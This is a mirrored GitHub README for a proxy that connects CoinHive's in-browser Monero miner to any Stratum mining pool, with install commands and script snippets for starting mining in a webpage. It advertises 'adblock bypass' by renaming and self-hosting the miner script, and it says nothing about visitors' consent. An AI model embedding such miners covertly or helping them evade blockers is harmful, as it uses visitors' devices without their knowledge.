Giter Site home page Giter Site logo

robinsingh1 / coinhive-stratum-mining-proxy Goto Github PK

View Code? Open in Web Editor NEW

This project forked from x25/coinhive-stratum-mining-proxy

0.0 1.0 0.0 142 KB

Browser mining on any pool using CoinHive.js library

License: MIT License

Python 73.21% HTML 26.79%

coinhive-stratum-mining-proxy's Introduction

CoinHive Stratum Mining Proxy

A proof of concept of web mining using CoinHive's JavaScript Mining library. The proxy acts like coin hive to connect to a mining pool. Should work with any monero pool based on the Stratum Mining Protocol. You can even set up your own pool.

Pros: no dev fee, adblock bypass, use any pool you like.

Installation

Docker:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ docker build -t coinhive-stratum-mining-proxy .
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy <stratum tcp host> <stratum tcp port>

eg:

$ docker run -p 8892:8892 coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444

Linux/Mac:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ pip install -v -r requirements.txt
$ python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port>

eg:

$ python coinhive-stratum-mining-proxy.py xmr-eu1.nanopool.org 14444

Dependencies:

  • python
  • pip
  • openssl-dev
  • gcc
  • git

Usage

  1. Install and Run coinhive-stratum-mining-proxy
  2. Load the Coinhive Miner
<script src="https://coinhive.com/lib/coinhive.min.js"></script>

The javascript can be saved/renamed and loaded from your server, see adblock_bypass.html.

  1. Change the CoinHive.CONFIG.WEBSOCKET_SHARDS config variable:
<script>
CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://localhost:8892/proxy"]];
</script>
  1. Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_MONERO_ADDRESS');
miner.start();
</script>

or

<script>
var miner = new CoinHive.User('YOUR_MONERO_ADDRESS', 'YOUR_WORKER_NAME');
miner.start();
</script>

the username will be used as the stratum worker name.

  1. Profit!

Demo

Setup and run coinhive-stratum-mining-proxy with xmr-eu1.nanopool.org 14444 parameters and open http://localhost:8892 in your browser for live demo.

Links

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way.

License

MIT

coinhive-stratum-mining-proxy's People

Contributors

x25 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.